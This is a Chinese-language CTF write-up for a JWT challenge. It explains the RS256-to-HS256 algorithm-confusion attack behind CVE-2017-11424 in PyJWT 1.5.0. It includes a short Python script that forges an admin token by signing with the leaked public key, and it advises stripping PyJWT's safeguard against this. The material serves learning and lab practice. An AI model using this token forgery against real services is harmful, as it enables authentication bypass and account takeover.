JWT简介
JWT (JSON Web Tokens) ,是一串用于身份验证的token(内容公开),存储在客户端,通过签名保证token的内容没有被篡改。
题解分析
官方wp中有这一串token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImV4cCI6MTYwNDM3NDE4N30.ZADFKRFG0I5LpsUwb2hAqcyD1BOWf5doLrxVIuI-OINDPaBNKsuCPInxadxW5VbhDmmkcgBnGT_GQfqE7VWFKf2aY0Zfq8YNmXPESEWV9OC4WHfEt3GwN5B2Rt1wXZgcWuB9pcxVKttoND9yLS5Pa7mOTyc_SPJ-A7t0FnfoL8NwbqOeLorMW190UuVb4_bbuNcEVFwqOp6A7vrNLbD6trhUrk2aFG1rtbTwuTkdDqMozOtzI8GtwpShb9XmQCugjOBciQceeTnRB4PjBxdJO8tHuiVMwVIOg5__-gDJTDAxd9veT_T8finvvOJ2rMAsNO_WSOYgdBKBwfUh5kbh7x-C616dj4C0xnJR8U3DDhyyjBa5V6c9_jDWM6E0YB9O0iRTglWetvW3xC-_ZNaWS-yxFvcAnVxOVyEkAiow0BJuyRxNDXc3m2g0yg6vUjmimUnJ3-ffl5E1sqdPiK_Tyy2ny21ZRzZz01uEf0Z31JP3RThOKPmfkTDpRKMB5pSuCeqvxK5ZP6hKwpahc5MqZHbzwMv8rPD_D-bLDKjSkYfu_JCQO00mfTDxg28DWSvJz8xaUL3oUAsR_8lhw20SElh_NcdywMSiDTe6vYZ0KjRZ1mIZMLxmAqPR2YlhRwQmhGad5Z2EKHUTwaYzR_tI4HtubTk4L3k7PBo5N6T0WwY
拿去jwt.io解码,得到解码信息:
{
"typ": "JWT",
"alg": "RS256"
}
{
"sub": "guest",
"exp": 1604374187
}
RSASHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
''
''
)
签名算法为RS256(使用 SHA-256 的 RSA 签名)
身份为guest
最后一部分为签名,不知道公钥私钥
绕过方法
以下引用官方wp
在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 HS256),并且修改 JWT 中的签名算法只需要修改 header 的 alg 字段,并且通过某些方法,仍然让程序认为整个 JWT 是完好而未被篡改的即可。
在使用 RS256 时,程序的流程是:
1.使用私钥为 JWT 签名。
2.使用公钥验证接收到的 JWT 的完整性。
而在使用 HS256 时,程序的流程是:
1.使用密钥为 JWT 签名。
2.同样,使用这个密钥验证 JWT 的完整性。显然,这个密钥不能被泄露出来。那么如果我们知道公钥,那么我们就能这么做:
1.接收到一个合法的,使用 RS256 签名算法的 JWT。
2.修改 JWT 的 payload 我们想要的样子,同时修改 header 的算法为HS256。
3.使用已知的公钥,以 HS256 算法重新签名我们修改后的公钥。
4.发给服务器。此时,服务器使用公钥 + HS256 算法检JWT,发现没有问题,就会认为这是一个合法的 JWT。
目前的 JWT 库基本上都修复了这个问题。
题目使用的是PyJWT 1.5.0,对应的 CVE 是 CVE-2017-11424
绕过实践
使用python PyJWT库:
import jwt
PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n"
payload = {
"username": "admin",
"pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
"iat": 1605940233
}
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
print(encoded)
将签名方式改为HS256,使用泄露的公钥进行签名。
但是直接运行会报错,因为PyJWT(以及其他很多JWT库)修复此安全漏洞的方式是:当使用HS256编码/解码的时候,检查密钥的开头是否是非对称加密的公钥,如果是,就报错。
直接修改可以直接魔改jwt / algorithms.py把这一部分的校正去掉即可。